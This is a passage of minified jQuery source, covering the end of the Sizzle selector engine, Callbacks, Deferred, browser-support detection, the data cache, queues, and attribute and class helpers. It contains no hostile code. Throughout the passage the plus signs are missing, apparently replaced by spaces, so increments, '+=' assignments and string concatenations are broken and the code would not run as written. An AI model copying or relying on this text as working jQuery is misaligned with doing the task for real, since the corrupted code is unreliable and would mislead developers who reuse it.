t}function lt(e){return e[b]=!0,e}function ut(e){var t=f.createElement("div");try{return !!e(t)}catch(n){return !1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ct(e,t){var n=e.split("|"),r=e.length;while(r--){o.attrHandle[n[r]]=t}}function pt(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r){return r}if(n){while(n=n.nextSibling){if(n===t){return -1}}}return e?1:-1}function ft(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function dt(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function ht(e){return lt(function(t){return t= t,lt(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--){n[i=o[a]]&&(n[i]=!(r[i]=n[i]))}})})}s=at.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},r=at.support={},p=at.setDocument=function(e){var n=e?e.ownerDocument||e:w,i=n.defaultView;return n!==f&&9===n.nodeType&&n.documentElement?(f=n,d=n.documentElement,h=!s(n),i&&i.attachEvent&&i!==i.top&&i.attachEvent("onbeforeunload",function(){p()}),r.attributes=ut(function(e){return e.className="i",!e.getAttribute("className")}),r.getElementsByTagName=ut(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),r.getElementsByClassName=ut(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),r.getById=ut(function(e){return d.appendChild(e).id=b,!n.getElementsByName||!n.getElementsByName(b).length}),r.getById?(o.find.ID=function(e,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){return e.getAttribute("id")===t}}):(delete o.find.ID,o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){var n=typeof e.getAttributeNode!==j&&e.getAttributeNode("id");return n&&n.value===t}}),o.find.TAG=r.getElementsByTagName?function(e,n){return typeof n.getElementsByTagName!==j?n.getElementsByTagName(e):t}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i  ]){1===n.nodeType&&r.push(n)}return r}return o},o.find.CLASS=r.getElementsByClassName&&function(e,n){return typeof n.getElementsByClassName!==j&&h?n.getElementsByClassName(e):t},m=[],g=[],(r.qsa=K.test(n.querySelectorAll))&&(ut(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||g.push("\\[" P "*(?:value|" B ")"),e.querySelectorAll(":checked").length||g.push(":checked")}),ut(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("t",""),e.querySelectorAll("[t^='']").length&&g.push("[*^$]=" P "*(?:''|\"\")"),e.querySelectorAll(":enabled").length||g.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),g.push(",.*:")})),(r.matchesSelector=K.test(y=d.webkitMatchesSelector||d.mozMatchesSelector||d.oMatchesSelector||d.msMatchesSelector))&&ut(function(e){r.disconnectedMatch=y.call(e,"div"),y.call(e,"[s!='']:x"),m.push("!=",I)}),g=g.length&&RegExp(g.join("|")),m=m.length&&RegExp(m.join("|")),v=K.test(d.contains)||d.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t){while(t=t.parentNode){if(t===e){return !0}}}return !1},A=d.compareDocumentPosition?function(e,t){if(e===t){return S=!0,0}var i=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t);return i?1&i||!r.sortDetached&&t.compareDocumentPosition(e)===i?e===n||v(w,e)?-1:t===n||v(w,t)?1:c?F.call(c,e)-F.call(c,t):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t){return S=!0,0}if(!o||!a){return e===n?-1:t===n?1:o?-1:a?1:c?F.call(c,e)-F.call(c,t):0}if(o===a){return pt(e,t)}r=e;while(r=r.parentNode){s.unshift(r)}r=t;while(r=r.parentNode){l.unshift(r)}while(s[i]===l[i]){i  }return i?pt(s[i],l[i]):s[i]===w?-1:l[i]===w?1:0},n):f},at.matches=function(e,t){return at(e,null,null,t)},at.matchesSelector=function(e,t){if((e.ownerDocument||e)!==f&&p(e),t=t.replace(Y,"='$1']"),!(!r.matchesSelector||!h||m&&m.test(t)||g&&g.test(t))){try{var n=y.call(e,t);if(n||r.disconnectedMatch||e.document&&11!==e.document.nodeType){return n}}catch(i){}}return at(t,f,null,[e]).length>0},at.contains=function(e,t){return(e.ownerDocument||e)!==f&&p(e),v(e,t)},at.attr=function(e,n){(e.ownerDocument||e)!==f&&p(e);var i=o.attrHandle[n.toLowerCase()],a=i&&L.call(o.attrHandle,n.toLowerCase())?i(e,n,!h):t;return a===t?r.attributes||!h?e.getAttribute(n):(a=e.getAttributeNode(n))&&a.specified?a.value:null:a},at.error=function(e){throw Error("Syntax error, unrecognized expression: " e)},at.uniqueSort=function(e){var t,n=[],i=0,o=0;if(S=!r.detectDuplicates,c=!r.sortStable&&e.slice(0),e.sort(A),S){while(t=e[o  ]){t===e[o]&&(i=n.push(o))}while(i--){e.splice(n[i],1)}}return e},a=at.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent){return e.textContent}for(e=e.firstChild;e;e=e.nextSibling){n =a(e)}}else{if(3===i||4===i){return e.nodeValue}}}else{for(;t=e[r];r  ){n =a(t)}}return n},o=at.selectors={cacheLength:50,createPseudo:lt,match:Q,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"}," ":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(rt,it),e[3]=(e[4]||e[5]||"").replace(rt,it),"~="===e[2]&&(e[3]=" " e[3] " "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||at.error(e[0]),e[4]= (e[4]?e[5] (e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]= (e[7] e[8]||"odd"===e[3])):e[3]&&at.error(e[0]),e},PSEUDO:function(e){var n,r=!e[5]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]&&e[4]!==t?e[2]=e[4]:r&&J.test(r)&&(n=mt(r,!0))&&(n=r.indexOf(")",r.length-n)-r.length)&&(e[0]=e[0].slice(0,n),e[2]=r.slice(0,n)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(rt,it).toLowerCase();return"*"===e?function(){return !0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=N[e " "];return t||(t=RegExp("(^|" P ")" e "(" P "|$)"))&&N(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=at.attr(r,e);return null==i?"!="===t:t?(i ="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" " i " ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length 1)===n "-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return !!e.parentNode}:function(t,n,l){var u,c,p,f,d,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!l&&!s;if(m){if(o){while(g){p=t;while(p=p[g]){if(s?p.nodeName.toLowerCase()===y:1===p.nodeType){return !1}}h=g="only"===e&&!h&&"nextSibling"}return !0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[b]||(m[b]={}),u=c[e]||[],d=u[0]===T&&u[1],f=u[0]===T&&u[2],p=d&&m.childNodes[d];while(p=  d&&p&&p[g]||(f=d=0)||h.pop()){if(1===p.nodeType&&  f&&p===t){c[e]=[T,d,f];break}}}else{if(v&&(u=(t[b]||(t[b]={}))[e])&&u[0]===T){f=u[1]}else{while(p=  d&&p&&p[g]||(f=d=0)||h.pop()){if((s?p.nodeName.toLowerCase()===y:1===p.nodeType)&&  f&&(v&&((p[b]||(p[b]={}))[e]=[T,f]),p===t)){break}}}}return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=o.pseudos[e]||o.setFilters[e.toLowerCase()]||at.error("unsupported pseudo: " e);return r[b]?r(t):r.length>1?(n=[e,e,"",t],o.setFilters.hasOwnProperty(e.toLowerCase())?lt(function(e,n){var i,o=r(e,t),a=o.length;while(a--){i=F.call(e,o[a]),e[i]=!(n[i]=o[a])}}):function(e){return r(e,0,n)}):r}},pseudos:{not:lt(function(e){var t=[],n=[],r=l(e.replace(z,"$1"));return r[b]?lt(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--){(o=a[s])&&(e[s]=!(t[s]=o))}}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:lt(function(e){return function(t){return at(e,t).length>0}}),contains:lt(function(e){return function(t){return(t.textContent||t.innerText||a(t)).indexOf(e)>-1}}),lang:lt(function(e){return G.test(e||"")||at.error("unsupported lang: " e),e=e.replace(rt,it).toLowerCase(),function(t){var n;do{if(n=h?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang")){return n=n.toLowerCase(),n===e||0===n.indexOf(e "-")}}while((t=t.parentNode)&&1===t.nodeType);return !1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===d},focus:function(e){return e===f.activeElement&&(!f.hasFocus||f.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling){if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType){return !1}}return !0},parent:function(e){return !o.pseudos.empty(e)},header:function(e){return tt.test(e.nodeName)},input:function(e){return et.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function(e,t,n){return[0>n?n t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n =2){e.push(n)}return e}),odd:ht(function(e,t){var n=1;for(;t>n;n =2){e.push(n)}return e}),lt:ht(function(e,t,n){var r=0>n?n t:n;for(;--r>=0;){e.push(r)}return e}),gt:ht(function(e,t,n){var r=0>n?n t:n;for(;t>  r;){e.push(r)}return e})}},o.pseudos.nth=o.pseudos.eq;for(n in {radio:!0,checkbox:!0,file:!0,password:!0,image:!0}){o.pseudos[n]=ft(n)}for(n in {submit:!0,reset:!0}){o.pseudos[n]=dt(n)}function gt(){}gt.prototype=o.filters=o.pseudos,o.setFilters=new gt;function mt(e,t){var n,r,i,a,s,l,u,c=k[e " "];if(c){return t?0:c.slice(0)}s=e,l=[],u=o.preFilter;while(s){(!n||(r=X.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),l.push(i=[])),n=!1,(r=U.exec(s))&&(n=r.shift(),i.push({value:n,type:r[0].replace(z," ")}),s=s.slice(n.length));for(a in o.filter){!(r=Q[a].exec(s))||u[a]&&!(r=u[a](r))||(n=r.shift(),i.push({value:n,type:a,matches:r}),s=s.slice(n.length))}if(!n){break}}return t?s.length:s?at.error(e):k(e,l).slice(0)}function yt(e){var t=0,n=e.length,r="";for(;n>t;t  ){r =e[t].value}return r}function vt(e,t,n){var r=t.dir,o=n&&"parentNode"===r,a=C  ;return t.first?function(t,n,i){while(t=t[r]){if(1===t.nodeType||o){return e(t,n,i)}}}:function(t,n,s){var l,u,c,p=T " " a;if(s){while(t=t[r]){if((1===t.nodeType||o)&&e(t,n,s)){return !0}}}else{while(t=t[r]){if(1===t.nodeType||o){if(c=t[b]||(t[b]={}),(u=c[r])&&u[0]===p){if((l=u[1])===!0||l===i){return l===!0}}else{if(u=c[r]=[p],u[1]=e(t,n,s)||i,u[1]===!0){return !0}}}}}}}function bt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--){if(!e[i](t,n,r)){return !1}}return !0}:e[0]}function xt(e,t,n,r,i){var o,a=[],s=0,l=e.length,u=null!=t;for(;l>s;s  ){(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),u&&t.push(s))}return a}function wt(e,t,n,r,i,o){return r&&!r[b]&&(r=wt(r)),i&&!i[b]&&(i=wt(i,o)),lt(function(o,a,s,l){var u,c,p,f=[],d=[],h=a.length,g=o||Nt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:xt(g,f,e,s,l),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,l),r){u=xt(y,d),r(u,[],s,l),c=u.length;while(c--){(p=u[c])&&(y[d[c]]=!(m[d[c]]=p))}}if(o){if(i||e){if(i){u=[],c=y.length;while(c--){(p=y[c])&&u.push(m[c]=p)}i(null,y=[],u,l)}c=y.length;while(c--){(p=y[c])&&(u=i?F.call(o,p):f[c])>-1&&(o[u]=!(a[u]=p))}}}else{y=xt(y===a?y.splice(h,y.length):y),i?i(null,a,y,l):M.apply(a,y)}})}function Tt(e){var t,n,r,i=e.length,a=o.relative[e[0].type],s=a||o.relative[" "],l=a?1:0,c=vt(function(e){return e===t},s,!0),p=vt(function(e){return F.call(t,e)>-1},s,!0),f=[function(e,n,r){return !a&&(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;i>l;l  ){if(n=o.relative[e[l].type]){f=[vt(bt(f),n)]}else{if(n=o.filter[e[l].type].apply(null,e[l].matches),n[b]){for(r=  l;i>r;r  ){if(o.relative[e[r].type]){break}}return wt(l>1&&bt(f),l>1&&yt(e.slice(0,l-1).concat({value:" "===e[l-2].type?"*":""})).replace(z,"$1"),n,r>l&&Tt(e.slice(l,r)),i>r&&Tt(e=e.slice(r)),i>r&&yt(e))}f.push(n)}}return bt(f)}function Ct(e,t){var n=0,r=t.length>0,a=e.length>0,s=function(s,l,c,p,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,C=u,N=s||a&&o.find.TAG("*",d&&l.parentNode||l),k=T =null==C?1:Math.random()||0.1;for(w&&(u=l!==f&&l,i=n);null!=(h=N[b]);b  ){if(a&&h){g=0;while(m=e[g  ]){if(m(h,l,c)){p.push(h);break}}w&&(T=k,i=  n)}r&&((h=!m&&h)&&v--,s&&x.push(h))}if(v =b,r&&b!==v){g=0;while(m=t[g  ]){m(x,y,l,c)}if(s){if(v>0){while(b--){x[b]||y[b]||(y[b]=q.call(p))}}y=xt(y)}M.apply(p,y),w&&!s&&y.length>0&&v t.length>1&&at.uniqueSort(p)}return w&&(T=k,u=C),x};return r?lt(s):s}l=at.compile=function(e,t){var n,r=[],i=[],o=E[e " "];if(!o){t||(t=mt(e)),n=t.length;while(n--){o=Tt(t[n]),o[b]?r.push(o):i.push(o)}o=E(e,Ct(i,r))}return o};function Nt(e,t,n){var r=0,i=t.length;for(;i>r;r  ){at(e,t[r],n)}return n}function kt(e,t,n,i){var a,s,u,c,p,f=mt(e);if(!i&&1===f.length){if(s=f[0]=f[0].slice(0),s.length>2&&"ID"===(u=s[0]).type&&r.getById&&9===t.nodeType&&h&&o.relative[s[1].type]){if(t=(o.find.ID(u.matches[0].replace(rt,it),t)||[])[0],!t){return n}e=e.slice(s.shift().value.length)}a=Q.needsContext.test(e)?0:s.length;while(a--){if(u=s[a],o.relative[c=u.type]){break}if((p=o.find[c])&&(i=p(u.matches[0].replace(rt,it),V.test(s[0].type)&&t.parentNode||t))){if(s.splice(a,1),e=i.length&&yt(s),!e){return M.apply(n,i),n}break}}}return l(e,f)(i,t,!h,n,V.test(e)),n}r.sortStable=b.split("").sort(A).join("")===b,r.detectDuplicates=S,p(),r.sortDetached=ut(function(e){return 1&e.compareDocumentPosition(f.createElement("div"))}),ut(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||ct("type|href|height|width",function(e,n,r){return r?t:e.getAttribute(n,"type"===n.toLowerCase()?1:2)}),r.attributes&&ut(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||ct("value",function(e,n,r){return r||"input"!==e.nodeName.toLowerCase()?t:e.defaultValue}),ut(function(e){return null==e.getAttribute("disabled")})||ct(B,function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&i.specified?i.value:e[n]===!0?n.toLowerCase():null}),x.find=at,x.expr=at.selectors,x.expr[":"]=x.expr.pseudos,x.unique=at.uniqueSort,x.text=at.getText,x.isXMLDoc=at.isXML,x.contains=at.contains}(e);var O={};function F(e){var t=O[e]={};return x.each(e.match(T)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e){e="string"==typeof e?O[e]||F(e):x.extend({},e);var n,r,i,o,a,s,l=[],u=!e.once&&[],c=function(t){for(r=e.memory&&t,i=!0,a=s||0,s=0,o=l.length,n=!0;l&&o>a;a  ){if(l[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;break}}n=!1,l&&(u?u.length&&c(u.shift()):r?l=[]:p.disable())},p={add:function(){if(l){var t=l.length;(function i(t){x.each(t,function(t,n){var r=x.type(n);"function"===r?e.unique&&p.has(n)||l.push(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=l.length:r&&(s=t,c(r))}return this},remove:function(){return l&&x.each(arguments,function(e,t){var r;while((r=x.inArray(t,l,r))>-1){l.splice(r,1),n&&(o>=r&&o--,a>=r&&a--)}}),this},has:function(e){return e?x.inArray(e,l)>-1:!(!l||!l.length)},empty:function(){return l=[],o=0,this},disable:function(){return l=u=r=t,this},disabled:function(){return !l},lock:function(){return u=t,r||p.disable(),this},locked:function(){return !u},fireWith:function(e,t){return !l||i&&!u||(t=t||[],t=[e,t.slice?t.slice():t],n?u.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function(){return !!i}};return p},x.extend({Deferred:function(e){var t=[["resolve","done",x.Callbacks("once memory"),"resolved"],["reject","fail",x.Callbacks("once memory"),"rejected"],["notify","progress",x.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var a=o[0],s=x.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&x.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a "With"](this===r?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return r.pipe=r.then,x.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0] "With"](this===i?r:this,arguments),this},i[o[0] "With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=g.call(arguments),r=n.length,i=1!==r||e&&x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?g.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,l,u;if(r>1){for(s=Array(r),l=Array(r),u=Array(r);r>t;t  ){n[t]&&x.isFunction(n[t].promise)?n[t].promise().done(a(t,u,n)).fail(o.reject).progress(a(t,l,s)):--i}}return i||o.resolveWith(u,n),o.promise()}}),x.support=function(t){var n,r,o,s,l,u,c,p,f,d=a.createElement("div");if(d.setAttribute("className","t"),d.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=d.getElementsByTagName("*")||[],r=d.getElementsByTagName("a")[0],!r||!r.style||!n.length){return t}s=a.createElement("select"),u=s.appendChild(a.createElement("option")),o=d.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t.getSetAttribute="t"!==d.className,t.leadingWhitespace=3===d.firstChild.nodeType,t.tbody=!d.getElementsByTagName("tbody").length,t.htmlSerialize=!!d.getElementsByTagName("link").length,t.style=/top/.test(r.getAttribute("style")),t.hrefNormalized="/a"===r.getAttribute("href"),t.opacity=/^0.5/.test(r.style.opacity),t.cssFloat=!!r.style.cssFloat,t.checkOn=!!o.value,t.optSelected=u.selected,t.enctype=!!a.createElement("form").enctype,t.html5Clone="<:nav></:nav>"!==a.createElement("nav").cloneNode(!0).outerHTML,t.inlineBlockNeedsLayout=!1,t.shrinkWrapBlocks=!1,t.pixelPosition=!1,t.deleteExpando=!0,t.noCloneEvent=!0,t.reliableMarginRight=!0,t.boxSizingReliable=!0,o.checked=!0,t.noCloneChecked=o.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!u.disabled;try{delete d.test}catch(h){t.deleteExpando=!1}o=a.createElement("input"),o.setAttribute("value",""),t.input=""===o.getAttribute("value"),o.value="t",o.setAttribute("type","radio"),t.radioValue="t"===o.value,o.setAttribute("checked","t"),o.setAttribute("name","t"),l=a.createDocumentFragment(),l.appendChild(o),t.appendChecked=o.checked,t.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!0).click());for(f in {submit:!0,change:!0,focusin:!0}){d.setAttribute(c="on" f,"t"),t[f "Bubbles"]=c in e||d.attributes[c].expando===!1}d.style.backgroundClip="content-box",d.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip;for(f in x(t)){break}return t.ownLast="0"!==f,x(function(){var n,r,o,s="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",l=a.getElementsByTagName("body")[0];l&&(n=a.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",l.appendChild(n).appendChild(d),d.innerHTML="<table><tr><td></td><td>t</td></tr></table>",o=d.getElementsByTagName("td"),o[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===o[0].offsetHeight,o[0].style.display="",o[1].style.display="none",t.reliableHiddenOffsets=p&&0===o[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",x.swap(l,null!=l.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===d.offsetWidth}),e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||{width:"4px"}).width,r=d.appendChild(a.createElement("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&(d.innerHTML="",d.style.cssText=s "width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="block",d.innerHTML="<div></div>",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==d.offsetWidth,t.inlineBlockNeedsLayout&&(l.style.zoom=1)),l.removeChild(n),n=d=o=r=null)}),n=s=l=u=r=o=null,t}({});var B=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;function R(e,n,r,i){if(x.acceptData(e)){var o,a,s=x.expando,l=e.nodeType,u=l?x.cache:e,c=l?e[s]:e[s]&&s;if(c&&u[c]&&(i||u[c].data)||r!==t||"string"!=typeof n){return c||(c=l?e[s]=p.pop()||x.guid  :s),u[c]||(u[c]=l?{}:{toJSON:x.noop}),("object"==typeof n||"function"==typeof n)&&(i?u[c]=x.extend(u[c],n):u[c].data=x.extend(u[c].data,n)),a=u[c],i||(a.data||(a.data={}),a=a.data),r!==t&&(a[x.camelCase(n)]=r),"string"==typeof n?(o=a[n],null==o&&(o=a[x.camelCase(n)])):o=a,o}}}function W(e,t,n){if(x.acceptData(e)){var r,i,o=e.nodeType,a=o?x.cache:e,s=o?e[x.expando]:x.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){x.isArray(t)?t=t.concat(x.map(t,x.camelCase)):t in r?t=[t]:(t=x.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i--){delete r[t[i]]}if(n?!I(r):!x.isEmptyObject(r)){return}}(n||(delete a[s].data,I(a[s])))&&(o?x.cleanData([e],!0):x.support.deleteExpando||a!=a.window?delete a[s]:a[s]=null)}}}x.extend({cache:{},noData:{applet:!0,embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?x.cache[e[x.expando]]:e[x.expando],!!e&&!I(e)},data:function(e,t,n){return R(e,t,n)},removeData:function(e,t){return W(e,t)},_data:function(e,t,n){return R(e,t,n,!0)},_removeData:function(e,t){return W(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType){return !1}var t=e.nodeName&&x.noData[e.nodeName.toLowerCase()];return !t||t!==!0&&e.getAttribute("classid")===t}}),x.fn.extend({data:function(e,n){var r,i,o=null,a=0,s=this[0];if(e===t){if(this.length&&(o=x.data(s),1===s.nodeType&&!x._data(s,"parsedAttrs"))){for(r=s.attributes;r.length>a;a  ){i=r[a].name,0===i.indexOf("data-")&&(i=x.camelCase(i.slice(5)),$(s,i,o[i]))}x._data(s,"parsedAttrs",!0)}return o}return"object"==typeof e?this.each(function(){x.data(this,e)}):arguments.length>1?this.each(function(){x.data(this,e,n)}):s?$(s,e,x.data(s,e)):null},removeData:function(e){return this.each(function(){x.removeData(this,e)})}});function $(e,n,r){if(r===t&&1===e.nodeType){var i="data-" n.replace(P,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null: r ""===r? r:B.test(r)?x.parseJSON(r):r}catch(o){}x.data(e,n,r)}else{r=t}}return r}function I(e){var t;for(t in e){if(("data"!==t||!x.isEmptyObject(e[t]))&&"toJSON"!==t){return !1}}return !0}x.extend({queue:function(e,n,r){var i;return e?(n=(n||"fx") "queue",i=x._data(e,n),r&&(!i||x.isArray(r)?i=x._data(e,n,x.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t||"fx";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks(e,t),a=function(){x.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t "queueHooks";return x._data(e,n)||x._data(e,n,{empty:x.Callbacks("once memory").add(function(){x._removeData(e,t "queue"),x._removeData(e,n)})})}}),x.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?x.queue(this[0],e):n===t?this:this.each(function(){var t=x.queue(this,e,n);x._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&x.dequeue(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return e=x.fx?x.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,o=x.Deferred(),a=this,s=this.length,l=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(s--){r=x._data(a[s],e "queueHooks"),r&&r.empty&&(i  ,r.empty.add(l))}return l(),o.promise(n)}});var z,X,U=/[\t\r\n\f]/g,V=/\r/g,Y=/^(?:input|select|textarea|button|object)$/i,J=/^(?:a|area)$/i,G=/^(?:checked|selected)$/i,Q=x.support.getSetAttribute,K=x.support.input;x.fn.extend({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access(this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return e=x.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,l="string"==typeof e&&e;if(x.isFunction(e)){return this.each(function(t){x(this).addClass(e.call(this,t,this.className))})}if(l){for(t=(e||"").match(T)||[];s>a;a  ){if(n=this[a],r=1===n.nodeType&&(n.className?(" " n.className " ").replace(U," "):" ")){o=0;while(i=t[o  ]){0>r.indexOf(" " i " ")&&(r =i " ")}n.className=x.trim(r)}}}return this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,l=0===arguments.length||"string"==typeof e&&e;if(x.isFunction(e)){return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))})}if(l){for(t=(e||"").match(T)||[];s>a;a  ){if(n=this[a],r=1===n.nodeType&&(n.className?(" " n.className " ").replace(U," "):"")){o=0;while(i=t[o  ]){while(r.indexOf(" " i " ")>=0){r=r.replace(" " i " "," 